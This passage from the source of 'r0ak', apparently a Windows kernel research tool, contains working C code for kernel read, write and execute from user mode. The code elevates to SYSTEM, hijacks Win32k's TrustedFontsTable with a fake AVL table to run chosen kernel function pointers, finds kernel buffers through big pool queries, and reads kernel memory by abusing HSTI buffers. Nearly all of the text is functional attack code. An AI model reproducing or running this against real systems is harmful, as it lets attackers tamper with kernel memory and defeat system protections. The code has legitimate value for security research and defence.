_Success_(return != 0) 92 | PVOID 93 | KernelAlloc ( 94 | _Outptr_ PKERNEL_ALLOC* KernelAlloc, 95 | _In_ ULONG Size 96 | ); 97 | 98 | _Success_(return != 0) 99 | PVOID 100 | KernelWrite ( 101 | _In_ PKERNEL_ALLOC KernelAlloc 102 | ); 103 | 104 | VOID 105 | KernelFree ( 106 | _In_ PKERNEL_ALLOC KernelAlloc 107 | ); 108 | 109 | // 110 | // Kernel Execution Routines 111 | // 112 | _Success_(return != 0) 113 | BOOL 114 | KernelExecuteRun ( 115 | _In_ PKERNEL_EXECUTE KernelExecute 116 | ); 117 | 118 | _Success_(return != 0) 119 | BOOL 120 | KernelExecuteSetup ( 121 | _Outptr_ PKERNEL_EXECUTE* KernelExecute, 122 | _In_ PVOID TrampolineFunction 123 | ); 124 | 125 | _Success_(return != 0) 126 | BOOL 127 | KernelExecuteSetCallback ( 128 | _In_ PKERNEL_EXECUTE KernelExecute, 129 | _In_ PVOID WorkFunction, 130 | _In_ PVOID WorkParameter 131 | ); 132 | 133 | VOID 134 | KernelExecuteTeardown ( 135 | _In_ PKERNEL_EXECUTE KernelExecute 136 | ); 137 | 138 | // 139 | // Kernel Read Routine 140 | // 141 | _Success_(return != 0) 142 | BOOL 143 | CmdReadKernel ( 144 | _In_ PKERNEL_EXECUTE KernelExecute, 145 | _In_ PVOID KernelAddress, 146 | _In_ ULONG ValueSize 147 | ); 148 | 149 | // 150 | // Kernel Write Routine 151 | // 152 | _Success_(return != 0) 153 | BOOL 154 | CmdWriteKernel ( 155 | _In_ PKERNEL_EXECUTE KernelExecute, 156 | _In_ PVOID KernelAddress, 157 | _In_ ULONG KernelValue 158 | ); 159 | 160 | // 161 | // Kernel Run Routine 162 | // 163 | _Success_(return != 0) 164 | BOOL 165 | CmdExecuteKernel ( 166 | _In_ PKERNEL_EXECUTE KernelExecute, 167 | _In_ PVOID FunctionPointer, 168 | _In_ ULONG_PTR FunctionParameter 169 | ); 170 | 171 | // 172 | // ETW Routines 173 | // 174 | _Success_(return != 0) 175 | BOOL 176 | EtwStartSession ( 177 | _Outptr_ PETW_DATA* EtwData, 178 | _In_ PVOID WorkerRoutine 179 | ); 180 | 181 | _Success_(return != 0) 182 | BOOL 183 | EtwParseSession ( 184 | _In_ PETW_DATA EtwData 185 | ); 186 | 187 | -------------------------------------------------------------------------------- /r0ak.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "r0ak", "r0ak.vcxproj", "{689FD196-F8F9-45B2-8F9E-ACA4767776A2}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Release|x64 = Release|x64 11 | EndGlobalSection 12 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 13 | {689FD196-F8F9-45B2-8F9E-ACA4767776A2}.Release|x64.ActiveCfg = Release|x64 14 | {689FD196-F8F9-45B2-8F9E-ACA4767776A2}.Release|x64.Build.0 = Release|x64 15 | EndGlobalSection 16 | GlobalSection(SolutionProperties) = preSolution 17 | HideSolutionNode = FALSE 18 | EndGlobalSection 19 | EndGlobal 20 | -------------------------------------------------------------------------------- /r0ak.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Release 6 | x64 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | Create 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | {689FD196-F8F9-45B2-8F9E-ACA4767776A2} 27 | {504102d4-2172-473c-8adf-cd96e308f257} 28 | v4.5 29 | 12.0 30 | Release 31 | r0ak 32 | $(LatestTargetPlatformVersion) 33 | 34 | 35 | 36 | Windows10 37 | false 38 | WindowsApplicationForDrivers10.0 39 | Application 40 | true 41 | 42 | 43 | 44 | 45 | RequireAdministrator 46 | ntdll.lib;%(AdditionalDependencies) 47 | true 48 | true 49 | 50 | 51 | Use 52 | r0ak.h 53 | Full 54 | AnySuitable 55 | true 56 | Speed 57 | true 58 | 59 | 60 | 61 | -------------------------------------------------------------------------------- /r0aketw.c: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | Copyright (c) Alex Ionescu. All rights reserved. 4 | 5 | Module Name: 6 | 7 | r0aketw.c 8 | 9 | Abstract: 10 | 11 | This module implements the ETW tracing support routines for r0ak 12 | 13 | Author: 14 | 15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version 16 | 17 | Environment: 18 | 19 | User mode only. 20 | 21 | --*/ 22 | #include "r0ak.h" 23 | 24 | // 25 | // Tracks tracing data between calls 26 | // 27 | typedef struct _ETW_DATA 28 | { 29 | TRACEHANDLE SessionHandle; 30 | TRACEHANDLE ParserHandle; 31 | PEVENT_TRACE_PROPERTIES Properties; 32 | PVOID WorkItemRoutine; 33 | } ETW_DATA, *PETW_DATA; 34 | 35 | DEFINE_GUID(g_EtwTraceGuid, 36 | 0x53636210, 37 | 0xbe24, 38 | 0x1264, 39 | 0xc6, 0xa5, 0xf0, 0x9c, 0x59, 0x88, 0x1e, 0xbd); 40 | WCHAR g_EtwTraceName[] = L"r0ak-etw"; 41 | 42 | VOID 43 | EtpEtwEventCallback( 44 | _In_ PEVENT_RECORD EventRecord 45 | ) 46 | { 47 | PETW_DATA etwData; 48 | 49 | // 50 | // Look for an "end of work item execution event" 51 | // 52 | if (EventRecord->EventHeader.EventDescriptor.Opcode == 53 | (PERFINFO_LOG_TYPE_WORKER_THREAD_ITEM_END & 0xFF)) 54 | { 55 | // 56 | // Grab our context and check if the work routine matches ours 57 | // 58 | etwData = (PETW_DATA)EventRecord->UserContext; 59 | if (*(PVOID*)EventRecord->UserData == etwData->WorkItemRoutine) 60 | { 61 | // 62 | // Stop the trace -- this callback will run a few more times 63 | // 64 | printf("[+] Kernel finished executing work item at 0x%.16p\n", 65 | etwData->WorkItemRoutine); 66 | ControlTrace(etwData->SessionHandle, 67 | NULL, 68 | etwData->Properties, 69 | EVENT_TRACE_CONTROL_STOP); 70 | } 71 | } 72 | } 73 | 74 | _Success_(return != 0) 75 | BOOL 76 | EtwParseSession ( 77 | _In_ PETW_DATA EtwData 78 | ) 79 | { 80 | ULONG errorCode; 81 | 82 | // 83 | // Process the trace until the right work item is found 84 | // 85 | errorCode = ProcessTrace(&EtwData->ParserHandle, 1, NULL, NULL); 86 | if (errorCode != ERROR_SUCCESS) 87 | { 88 | printf("[-] Failed to process trace: %lX\n", errorCode); 89 | ControlTrace(EtwData->SessionHandle, 90 | NULL, 91 | EtwData->Properties, 92 | EVENT_TRACE_CONTROL_STOP); 93 | } 94 | 95 | // 96 | // All done -- cleanup 97 | // 98 | CloseTrace(EtwData->ParserHandle); 99 | HeapFree(GetProcessHeap(), 0, EtwData->Properties); 100 | HeapFree(GetProcessHeap(), 0, EtwData); 101 | return errorCode == ERROR_SUCCESS; 102 | } 103 | 104 | _Success_(return != 0) 105 | BOOL 106 | EtwStartSession ( 107 | _Outptr_ PETW_DATA* EtwData, 108 | _In_ PVOID WorkItemRoutine 109 | ) 110 | { 111 | ULONG errorCode; 112 | ULONG traceFlags[8] = { 0 }; 113 | EVENT_TRACE_LOGFILEW logFile = { 0 }; 114 | ULONG bufferSize; 115 | 116 | // 117 | // Initialize context 118 | // 119 | *EtwData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(**EtwData)); 120 | if (*EtwData == NULL) 121 | { 122 | printf("[-] Out of memory allocating ETW state\n"); 123 | return FALSE; 124 | } 125 | 126 | // 127 | // Allocate memory for our session descriptor 128 | // 129 | bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(g_EtwTraceName); 130 | (*EtwData)->Properties = HeapAlloc(GetProcessHeap(), 131 | HEAP_ZERO_MEMORY, 132 | bufferSize); 133 | if ((*EtwData)->Properties == NULL) 134 | { 135 | printf("[-] Failed to allocate memory for the ETW trace\n"); 136 | HeapFree(GetProcessHeap(), 0, *EtwData); 137 | return FALSE; 138 | } 139 | 140 | // 141 | // Create a real-time session using the system logger, tracing nothing 142 | // 143 | (*EtwData)->Properties->Wnode.BufferSize = bufferSize; 144 | (*EtwData)->Properties->Wnode.Guid = g_EtwTraceGuid; 145 | (*EtwData)->Properties->Wnode.ClientContext = 1; 146 | (*EtwData)->Properties->Wnode.Flags = WNODE_FLAG_TRACED_GUID; 147 | (*EtwData)->Properties->MinimumBuffers = 1; 148 | (*EtwData)->Properties->LogFileMode = EVENT_TRACE_REAL_TIME_MODE | 149 | EVENT_TRACE_SYSTEM_LOGGER_MODE; 150 | (*EtwData)->Properties->FlushTimer = 1; 151 | (*EtwData)->Properties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES); 152 | errorCode = StartTrace(&(*EtwData)->SessionHandle, 153 | g_EtwTraceName, 154 | (*EtwData)->Properties); 155 | if (errorCode != ERROR_SUCCESS) 156 | { 157 | printf("[-] Failed to create the event trace session: %lX\n", 158 | errorCode); 159 | HeapFree(GetProcessHeap(), 0, (*EtwData)->Properties); 160 | HeapFree(GetProcessHeap(), 0, *EtwData); 161 | return FALSE; 162 | } 163 | 164 | // 165 | // Open a consumer handle to it 166 | // 167 | logFile.LoggerName = g_EtwTraceName; 168 | logFile.ProcessTraceMode = PROCESS_TRACE_MODE_REAL_TIME | 169 | PROCESS_TRACE_MODE_EVENT_RECORD; 170 | logFile.EventRecordCallback = EtpEtwEventCallback; 171 | logFile.Context = *EtwData; 172 | (*EtwData)->ParserHandle = OpenTrace(&logFile); 173 | if ((*EtwData)->ParserHandle == INVALID_PROCESSTRACE_HANDLE) 174 | { 175 | printf("[-] Failed open a consumer handle for the trace session: %lX\n", 176 | GetLastError()); 177 | ControlTrace((*EtwData)->SessionHandle, 178 | NULL, 179 | (*EtwData)->Properties, 180 | EVENT_TRACE_CONTROL_STOP); 181 | HeapFree(GetProcessHeap(), 0, (*EtwData)->Properties); 182 | HeapFree(GetProcessHeap(), 0, *EtwData); 183 | return FALSE; 184 | } 185 | 186 | // 187 | // Trace worker thread events 188 | // 189 | traceFlags[2] = PERF_WORKER_THREAD; 190 | errorCode = TraceSetInformation((*EtwData)->SessionHandle, 191 | TraceSystemTraceEnableFlagsInfo, 192 | traceFlags, 193 | sizeof(traceFlags)); 194 | if (errorCode != ERROR_SUCCESS) 195 | { 196 | printf("[-] Failed to set flags for event trace session: %lX\n", 197 | errorCode); 198 | ControlTrace((*EtwData)->SessionHandle, 199 | NULL, 200 | (*EtwData)->Properties, 201 | EVENT_TRACE_CONTROL_STOP); 202 | CloseTrace((*EtwData)->ParserHandle); 203 | HeapFree(GetProcessHeap(), 0, (*EtwData)->Properties); 204 | HeapFree(GetProcessHeap(), 0, *EtwData); 205 | return FALSE; 206 | } 207 | 208 | // 209 | // Remember which work routine we'll be looking for 210 | // 211 | (*EtwData)->WorkItemRoutine = WorkItemRoutine; 212 | return TRUE; 213 | } 214 | -------------------------------------------------------------------------------- /r0akexec.c: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | Copyright (c) Alex Ionescu. All rights reserved. 4 | 5 | Module Name: 6 | 7 | r0akexec.c 8 | 9 | Abstract: 10 | 11 | This module implements the kernel-mode execution engine for r0ak 12 | 13 | Author: 14 | 15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version 16 | 17 | Environment: 18 | 19 | User mode only. 20 | 21 | --*/ 22 | 23 | #include "r0ak.h" 24 | 25 | typedef struct _CONTEXT_PAGE 26 | { 27 | RTL_BALANCED_LINKS Header; 28 | UCHAR Reserved[0x50]; 29 | WORK_QUEUE_ITEM WorkItem; 30 | } CONTEXT_PAGE, *PCONTEXT_PAGE; 31 | 32 | // 33 | // Tracks execution state between calls 34 | // 35 | typedef struct _KERNEL_EXECUTE 36 | { 37 | PXSGLOBALS Globals; 38 | PKERNEL_ALLOC TrampolineAllocation; 39 | PRTL_BALANCED_LINKS TrampolineParameter; 40 | } KERNEL_EXECUTE, *PKERNEL_EXECUTE; 41 | 42 | _Success_(return != 0) 43 | BOOL 44 | KernelExecuteRun ( 45 | _In_ PKERNEL_EXECUTE KernelExecute 46 | ) 47 | { 48 | PRTL_AVL_TABLE realTable, fakeTable; 49 | BOOL b; 50 | 51 | // 52 | // Remember original pointer 53 | // 54 | realTable = KernelExecute->Globals->TrustedFontsTable; 55 | 56 | // 57 | // Remove arial, which is our target font 58 | // 59 | b = RemoveFontResourceExW(L"C:\\windows\\fonts\\arial.ttf", 0, NULL); 60 | if (b == 0) 61 | { 62 | printf("[-] Failed to remove font: %lx\n", GetLastError()); 63 | return b; 64 | } 65 | 66 | // 67 | // Save the original trusted font file table and overwrite it with our own. 68 | // 69 | fakeTable = (PRTL_AVL_TABLE)((KernelExecute->Globals) + 1); 70 | fakeTable->BalancedRoot.RightChild = KernelExecute->TrampolineParameter; 71 | KernelExecute->Globals->TrustedFontsTable = fakeTable; 72 | 73 | // 74 | // Set our priority to 4, the theory being that this should force the work 75 | // item to execute even on a single-processor core 76 | // 77 | SetThreadPriority(GetCurrentThread(), THREAD_MODE_BACKGROUND_BEGIN); 78 | 79 | // 80 | // Add a font -- Win32k.sys will check if it's in the trusted path, 81 | // triggering the AVL search. This will trigger the execute. 82 | // 83 | b = AddFontResourceExW(L"C:\\windows\\fonts\\arial.ttf", 0, NULL); 84 | if (b == 0) 85 | { 86 | printf("[-] Failed to add font: %lx\n", GetLastError()); 87 | } 88 | 89 | // 90 | // Restore original pointer and thread priority 91 | // 92 | KernelExecute->Globals->TrustedFontsTable = realTable; 93 | SetThreadPriority(GetCurrentThread(), THREAD_MODE_BACKGROUND_END); 94 | return b; 95 | } 96 | 97 | VOID 98 | KernelExecuteTeardown ( 99 | _In_ PKERNEL_EXECUTE KernelExecute 100 | ) 101 | { 102 | // 103 | // Free the trampoline context 104 | // 105 | KernelFree(KernelExecute->TrampolineAllocation); 106 | 107 | // 108 | // Unmap the globals 109 | // 110 | UnmapViewOfFile(KernelExecute->Globals); 111 | 112 | // 113 | // Free the context 114 | // 115 | HeapFree(GetProcessHeap(), 0, KernelExecute); 116 | } 117 | 118 | _Success_(return != 0) 119 | BOOL 120 | KernelExecuteSetup ( 121 | _Outptr_ PKERNEL_EXECUTE* KernelExecute, 122 | _In_ PVOID TrampolineFunction 123 | ) 124 | { 125 | PRTL_AVL_TABLE fakeTable; 126 | BOOL b; 127 | NTSTATUS status; 128 | HANDLE hFile; 129 | UNICODE_STRING name; 130 | OBJECT_ATTRIBUTES objectAttributes; 131 | 132 | // 133 | // Callers can't pass NULL 134 | // 135 | if (KernelExecute == NULL) 136 | { 137 | return FALSE; 138 | } 139 | 140 | // 141 | // Initialize the context 142 | // 143 | *KernelExecute = HeapAlloc(GetProcessHeap(), 144 | HEAP_ZERO_MEMORY, 145 | sizeof(**KernelExecute)); 146 | if (*KernelExecute == NULL) 147 | { 148 | printf("[-] Out of memory allocating execution tracker\n"); 149 | return FALSE; 150 | } 151 | 152 | // 153 | // Get a SYSTEM token 154 | // 155 | b = ElevateToSystem(); 156 | if (b == FALSE) 157 | { 158 | printf("[-] Failed to elevate to SYSTEM privileges\n"); 159 | HeapFree(GetProcessHeap(), 0, *KernelExecute); 160 | return FALSE; 161 | } 162 | 163 | // 164 | // Open a handle to Win32k's cross-session globals section object 165 | // 166 | RtlInitUnicodeString(&name, L"\\Win32kCrossSessionGlobals"); 167 | InitializeObjectAttributes(&objectAttributes, 168 | &name, 169 | OBJ_CASE_INSENSITIVE, 170 | NULL, 171 | NULL); 172 | status = ZwOpenSection(&hFile, MAXIMUM_ALLOWED, &objectAttributes); 173 | 174 | // 175 | // We can drop impersonation now 176 | // 177 | b = RevertToSelf(); 178 | if (b == FALSE) 179 | { 180 | // 181 | // Not much to do but trace 182 | // 183 | printf("[-] Failed to revert impersonation token: %lX\n", 184 | GetLastError()); 185 | } 186 | 187 | // 188 | // Can't keep going if we couldn't get a handle to the section 189 | // 190 | if (!NT_SUCCESS(status)) 191 | { 192 | printf("[-] Couldn't open handle to kernel execution block: %lx\n", 193 | status); 194 | CloseHandle(hFile); 195 | HeapFree(GetProcessHeap(), 0, *KernelExecute); 196 | return FALSE; 197 | } 198 | 199 | // 200 | // Map the section object in our address space 201 | // 202 | (*KernelExecute)->Globals = MapViewOfFile(hFile, 203 | FILE_MAP_ALL_ACCESS, 204 | 0, 205 | 0, 206 | sizeof((*KernelExecute)->Globals)); 207 | CloseHandle(hFile); 208 | if ((*KernelExecute)->Globals == NULL) 209 | { 210 | printf("[-] Couldn't map kernel execution block: %lx\n", 211 | GetLastError()); 212 | HeapFree(GetProcessHeap(), 0, *KernelExecute); 213 | return FALSE; 214 | } 215 | 216 | // 217 | // Setup the table 218 | // 219 | printf("[+] Mapped kernel execution block at 0x%.16p\n", 220 | (*KernelExecute)->Globals); 221 | fakeTable = (PRTL_AVL_TABLE)((*KernelExecute)->Globals + 1); 222 | fakeTable->DepthOfTree = 1; 223 | fakeTable->NumberGenericTableElements = 1; 224 | fakeTable->CompareRoutine = TrampolineFunction; 225 | return TRUE; 226 | } 227 | 228 | _Success_(return != 0) 229 | BOOL 230 | KernelExecuteSetCallback ( 231 | _In_ PKERNEL_EXECUTE KernelExecute, 232 | _In_ PVOID WorkFunction, 233 | _In_ PVOID WorkParameter 234 | ) 235 | { 236 | PCONTEXT_PAGE contextBuffer; 237 | PKERNEL_ALLOC kernelAlloc; 238 | 239 | // 240 | // Allocate the right child page that will be sent to the trampoline 241 | // 242 | contextBuffer = KernelAlloc(&kernelAlloc, sizeof(*contextBuffer)); 243 | if (contextBuffer == NULL) 244 | { 245 | printf("[-] Failed to allocate memory for WORK_QUEUE_ITEM\n"); 246 | return FALSE; 247 | } 248 | 249 | // 250 | // Fill out the worker and its parameter 251 | // 252 | contextBuffer->WorkItem.WorkerRoutine = WorkFunction; 253 | contextBuffer->WorkItem.Parameter = WorkParameter; 254 | 255 | // 256 | // Write into the buffer 257 | // 258 | contextBuffer = (PCONTEXT_PAGE)KernelWrite(kernelAlloc); 259 | if (contextBuffer == NULL) 260 | { 261 | KernelFree(kernelAlloc); 262 | printf("[-] Failed to find kernel memory for WORK_QUEUE_ITEM\n"); 263 | return FALSE; 264 | } 265 | 266 | // 267 | // Return the balanced links with the appropriate work item 268 | // 269 | KernelExecute->TrampolineAllocation = kernelAlloc; 270 | KernelExecute->TrampolineParameter = &contextBuffer->Header; 271 | return TRUE; 272 | } 273 | -------------------------------------------------------------------------------- /r0akmem.c: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | Copyright (c) Alex Ionescu. All rights reserved. 4 | 5 | Module Name: 6 | 7 | r0akmem.c 8 | 9 | Abstract: 10 | 11 | This module implements kernel memory allocation and mapping for r0ak 12 | 13 | Author: 14 | 15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version 16 | 17 | Environment: 18 | 19 | User mode only. 20 | 21 | --*/ 22 | 23 | #include "r0ak.h" 24 | 25 | // 26 | // Internal definitions 27 | // 28 | #define POOL_TAG_FIXED_BUFFER (32 * 1024 * 1024) 29 | #define PAGE_SIZE 4096 30 | #define NPFS_DATA_ENTRY_SIZE 0x30 31 | #define NPFS_DATA_ENTRY_POOL_TAG 'rFpN' 32 | 33 | // 34 | // Tracks allocation state between calls 35 | // 36 | typedef struct _KERNEL_ALLOC 37 | { 38 | HANDLE Pipes[2]; 39 | PVOID UserBase; 40 | PVOID KernelBase; 41 | ULONG MagicSize; 42 | } KERNEL_ALLOC, *PKERNEL_ALLOC; 43 | 44 | _Success_(return != 0) 45 | PVOID 46 | GetKernelAddress ( 47 | _In_ ULONG Size 48 | ) 49 | { 50 | NTSTATUS status; 51 | PSYSTEM_BIGPOOL_INFORMATION bigPoolInfo; 52 | PSYSTEM_BIGPOOL_ENTRY entry; 53 | ULONG resultLength; 54 | ULONG_PTR resultAddress; 55 | ULONG i; 56 | 57 | // 58 | // Allocate a large 32MB buffer to store pool tags in 59 | // 60 | bigPoolInfo = VirtualAlloc(NULL, 61 | POOL_TAG_FIXED_BUFFER, 62 | MEM_COMMIT | MEM_RESERVE, 63 | PAGE_READWRITE); 64 | if (!bigPoolInfo) 65 | { 66 | printf("[-] No memory for pool buffer\n"); 67 | return NULL; 68 | } 69 | 70 | // 71 | // Dump all pool tags 72 | // 73 | status = NtQuerySystemInformation(SystemBigPoolInformation, 74 | bigPoolInfo, 75 | POOL_TAG_FIXED_BUFFER, 76 | &resultLength); 77 | if (!NT_SUCCESS(status)) 78 | { 79 | printf("[-] Failed to dump pool allocations: %lx\n", status); 80 | return NULL; 81 | } 82 | 83 | // 84 | // Scroll through them all 85 | // 86 | for (resultAddress = 0, i = 0; i < bigPoolInfo->Count; i++) 87 | { 88 | // 89 | // Check for the desired allocation 90 | // 91 | entry = &bigPoolInfo->AllocatedInfo[i]; 92 | if (entry->TagUlong == NPFS_DATA_ENTRY_POOL_TAG) 93 | { 94 | // 95 | // With the Heap-Backed Pool in RS5/19H1, sizes are precise, while 96 | // the large pool allocator uses page-aligned pages 97 | // 98 | if ((entry->SizeInBytes == (Size + PAGE_SIZE)) || 99 | (entry->SizeInBytes == (Size + NPFS_DATA_ENTRY_SIZE))) 100 | { 101 | // 102 | // Mask out the nonpaged pool bit 103 | // 104 | resultAddress = (ULONG_PTR)entry->VirtualAddress & ~1; 105 | break; 106 | } 107 | } 108 | } 109 | 110 | // 111 | // Weird.. 112 | // 113 | if (resultAddress == 0) 114 | { 115 | printf("[-] Kernel buffer not found!\n"); 116 | return NULL; 117 | } 118 | 119 | // 120 | // Free the buffer 121 | // 122 | VirtualFree(bigPoolInfo, 0, MEM_RELEASE); 123 | return (PVOID)(resultAddress + NPFS_DATA_ENTRY_SIZE); 124 | } 125 | 126 | _Success_(return != 0) 127 | PVOID 128 | KernelAlloc ( 129 | _Outptr_ PKERNEL_ALLOC* KernelAlloc, 130 | _In_ ULONG Size 131 | ) 132 | { 133 | BOOL b; 134 | 135 | // 136 | // Catch bad callers 137 | // 138 | if (KernelAlloc == NULL) 139 | { 140 | return NULL; 141 | } 142 | 143 | // 144 | // Only support < 2KB allocations 145 | // 146 | *KernelAlloc = NULL; 147 | if (Size > 2048) 148 | { 149 | return NULL; 150 | } 151 | 152 | // 153 | // Allocate our tracker structure 154 | // 155 | *KernelAlloc = HeapAlloc(GetProcessHeap(), 156 | HEAP_ZERO_MEMORY, 157 | sizeof(**KernelAlloc)); 158 | if (*KernelAlloc == NULL) 159 | { 160 | return NULL; 161 | } 162 | 163 | // 164 | // Compute a magic size to get something in big pool that should be unique 165 | // This will use at most ~5MB of non-paged pool 166 | // 167 | (*KernelAlloc)->MagicSize = 0; 168 | while ((*KernelAlloc)->MagicSize == 0) 169 | { 170 | (*KernelAlloc)->MagicSize = (((__rdtsc() & 0xFF000000) >> 24) * 0x5000); 171 | } 172 | 173 | // 174 | // Allocate the right child page that will be sent to the trampoline 175 | // 176 | (*KernelAlloc)->UserBase = VirtualAlloc(NULL, 177 | (*KernelAlloc)->MagicSize, 178 | MEM_COMMIT | MEM_RESERVE, 179 | PAGE_READWRITE); 180 | if ((*KernelAlloc)->UserBase == NULL) 181 | { 182 | printf("[-] Failed to allocate user-mode memory for kernel buffer\n"); 183 | return NULL; 184 | } 185 | 186 | // 187 | // Allocate a pipe to hold on to the buffer 188 | // 189 | b = CreatePipe(&(*KernelAlloc)->Pipes[0], 190 | &(*KernelAlloc)->Pipes[1], 191 | NULL, 192 | (*KernelAlloc)->MagicSize); 193 | if (!b) 194 | { 195 | printf("[-] Failed creating the pipe: %lx\n", 196 | GetLastError()); 197 | return NULL; 198 | } 199 | 200 | // 201 | // Return the allocated user-mode base 202 | // 203 | return (*KernelAlloc)->UserBase; 204 | } 205 | 206 | _Success_(return != 0) 207 | PVOID 208 | KernelWrite ( 209 | _In_ PKERNEL_ALLOC KernelAlloc 210 | ) 211 | { 212 | BOOL b; 213 | 214 | // 215 | // Write into the buffer 216 | // 217 | b = WriteFile(KernelAlloc->Pipes[1], 218 | KernelAlloc->UserBase, 219 | KernelAlloc->MagicSize, 220 | NULL, 221 | NULL); 222 | if (!b) 223 | { 224 | printf("[-] Failed writing kernel buffer: %lx\n", 225 | GetLastError()); 226 | return NULL; 227 | } 228 | 229 | // 230 | // Compute the kernel address and return it 231 | // 232 | KernelAlloc->KernelBase = GetKernelAddress(KernelAlloc->MagicSize); 233 | return KernelAlloc->KernelBase; 234 | } 235 | 236 | VOID 237 | KernelFree ( 238 | _In_ PKERNEL_ALLOC KernelAlloc 239 | ) 240 | { 241 | // 242 | // Free the UM side of the allocation 243 | // 244 | VirtualFree(KernelAlloc->UserBase, 0, MEM_RELEASE); 245 | 246 | // 247 | // Close the pipes, which will free the kernel side 248 | // 249 | CloseHandle(KernelAlloc->Pipes[0]); 250 | CloseHandle(KernelAlloc->Pipes[1]); 251 | 252 | // 253 | // Free the structure 254 | // 255 | HeapFree(GetProcessHeap(), 0, KernelAlloc); 256 | } 257 | 258 | -------------------------------------------------------------------------------- /r0akrd.c: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | Copyright (c) Alex Ionescu. All rights reserved. 4 | 5 | Module Name: 6 | 7 | r0akrd.c 8 | 9 | Abstract: 10 | 11 | This module implements read capabilities for r0ak 12 | 13 | Author: 14 | 15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version 16 | 17 | Environment: 18 | 19 | User mode only. 20 | 21 | --*/ 22 | 23 | #include "r0ak.h" 24 | 25 | _Success_(return != 0) 26 | BOOL 27 | CmdReadKernel ( 28 | _In_ PKERNEL_EXECUTE KernelExecute, 29 | _In_ PVOID KernelAddress, 30 | _In_ ULONG ValueSize 31 | ) 32 | { 33 | BOOL b; 34 | NTSTATUS status; 35 | PVOID userData; 36 | 37 | // 38 | // First, set the size that the user wants 39 | // 40 | printf("[+] Setting size to 0x%.16lX\n", 41 | ValueSize); 42 | b = CmdWriteKernel(KernelExecute, g_HstiBufferSize, ValueSize); 43 | if (b == FALSE) 44 | { 45 | printf("[-] Fail to set size\n"); 46 | return b; 47 | } 48 | 49 | // 50 | // Then, set the pointer -- our write is 32-bits so we do it in 2 steps 51 | // 52 | printf("[+] Setting pointer to 0x%.16p\n", 53 | KernelAddress); 54 | b = CmdWriteKernel(KernelExecute, 55 | g_HstiBufferPointer, 56 | (ULONG_PTR)KernelAddress & 0xFFFFFFFF); 57 | if (b == FALSE) 58 | { 59 | printf("[-] Fail to set lower pointer bits\n"); 60 | return b; 61 | } 62 | b = CmdWriteKernel(KernelExecute, 63 | (PVOID)((ULONG_PTR)g_HstiBufferPointer + 4), 64 | (ULONG_PTR)KernelAddress >> 32); 65 | if (b == FALSE) 66 | { 67 | printf("[-] Fail to set lower pointer bits\n"); 68 | return b; 69 | } 70 | 71 | // 72 | // Allocate a buffer for the data in user space 73 | // 74 | userData = VirtualAlloc(NULL, 75 | ValueSize, 76 | MEM_COMMIT | MEM_RESERVE, 77 | PAGE_READWRITE); 78 | if (userData == NULL) 79 | { 80 | printf("[-] Failed to allocate user mode buffer\n"); 81 | return FALSE; 82 | } 83 | 84 | // 85 | // Now do the read by abusing the HSTI buffers 86 | // 87 | status = NtQuerySystemInformation( 88 | SystemHardwareSecurityTestInterfaceResultsInformation, 89 | userData, 90 | ValueSize, 91 | NULL); 92 | if (!NT_SUCCESS(status)) 93 | { 94 | printf("[-] Failed to read kernel data\n"); 95 | } 96 | else 97 | { 98 | DumpHex(userData, ValueSize); 99 | } 100 | 101 | // 102 | // Free the buffer and exit 103 | // 104 | VirtualFree(userData, 0, MEM_RELEASE); 105 | return NT_SUCCESS(status); 106 | } 107 | 108 | -------------------------------------------------------------------------------- /r0akrun.c: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | Copyright (c) Alex Ionescu. All rights reserved. 4 | 5 | Module Name: 6 | 7 | r0akrun.c 8 | 9 | Abstract: 10 | 11 | This module implements run capabilities for r0ak 12 | 13 | Author: 14 | 15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version 16 | 17 | Environment: 18 | 19 | User mode only. 20 | 21 | --*/ 22 | 23 | #include "r0ak.h" 24 | 25 | _Success_(return != 0) 26 | BOOL 27 | CmdExecuteKernel ( 28 | _In_ PKERNEL_EXECUTE KernelExecute, 29 | _In_ PVOID FunctionPointer, 30 | _In_ ULONG_PTR FunctionParameter 31 | ) 32 | { 33 | PETW_DATA etwData; 34 | BOOL b; 35 | 36 | // 37 | // Initialize a work item for the caller-supplied function and argument 38 | // 39 | printf("[+] Calling function pointer 0x%p\n", FunctionPointer); 40 | b = KernelExecuteSetCallback(KernelExecute, 41 | FunctionPointer, 42 | (PVOID)FunctionParameter); 43 | if (b == FALSE) 44 | { 45 | printf("[-] Failed to initialize work item trampoline\n"); 46 | return b; 47 | } 48 | 49 | // 50 | // Begin ETW tracing to look for the work item executing 51 | // 52 | etwData = NULL; 53 | b = EtwStartSession(&etwData, FunctionPointer); 54 | if (b == FALSE) 55 | { 56 | printf("[-] Failed to start ETW trace\n"); 57 | return b; 58 | } 59 | 60 | // 61 | // Execute it! 62 | // 63 | b = KernelExecuteRun(KernelExecute); 64 | if (b == FALSE) 65 | { 66 | printf("[-] Failed to execute work item\n"); 67 | return b; 68 | } 69 | 70 | // 71 | // Wait for execution to finish 72 | // 73 | b = EtwParseSession(etwData); 74 | if (b == FALSE) 75 | { 76 | // 77 | // We have no idea if execution finished -- block forever 78 | // 79 | printf("[-] Failed to parse ETW trace\n"); 80 | Sleep(INFINITE); 81 | } 82 | return b; 83 | } 84 | -------------------------------------------------------------------------------- /r0aksym.c: 